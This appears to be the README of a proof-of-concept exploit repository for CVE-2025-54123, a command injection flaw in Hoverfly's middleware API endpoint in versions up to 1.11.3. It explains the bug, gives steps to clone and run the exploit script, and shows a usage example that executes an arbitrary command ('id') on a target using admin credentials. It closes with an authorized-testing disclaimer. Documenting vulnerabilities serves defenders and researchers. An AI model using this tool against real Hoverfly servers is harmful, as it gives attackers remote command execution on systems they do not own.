
PoC CVE-2025-54123 - Hoverfly <= 1.11.3 - Authenticated Middleware Command Injection
PoC CVE-2025-54123 - Middleware Command Injection in Hoverfly
This vulnerability affects Hoverfly versions ≤ 1.11.3 and specifically targets the /api/v2/hoverfly/middleware endpoint. It is caused by insufficient input validation and sanitization in multiple files, including middleware.go, local_middleware.go, and hoverfly_service.go. User-controlled input provided to the script parameter is passed directly to a system binary (e.g., /bin/bash) without proper checks, allowing Remote Command Execution (RCE) with the privileges of the Hoverfly process.
curlgit clone https://github.com/f4dee-backup/CVE-2025-54123
cd CVE-2025-54123
chmod +x CVE-2025-54123.sh
./CVE-2025-54123.sh -h
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ███████╗ ███████╗██╗ ██╗ ██╗██████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██╔════╝ ██╔════╝██║ ██║███║╚════██╗╚════██╗
██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝███████╗█████╗███████╗███████║╚██║ █████╔╝ █████╔╝
██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚════██║╚════╝╚════██║╚════██║ ██║██╔═══╝ ╚═══██╗
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗███████║ ███████║ ██║ ██║███████╗██████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝╚══════╝ ╚══════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
Hoverfly <= 1.11.3 - Authenticated Middleware Command Injection
[?] Parameters description:
-t Target base URL (e.g., http://target:8888)
-u Valid username
-p Valid password
-c Command to execute (must be enclosed in double quotes)
-h Show this help panel
[i] Example:
./CVE-2025-54123.sh -t http://target.com:8888 -u admin -p password -c "id"
This exploit is intended for educational and authorized security testing purposes only.
Do NOT use this against systems without explicit permission. Unauthorized access may be illegal.
The author assumes no responsibility for misuse or any damage caused.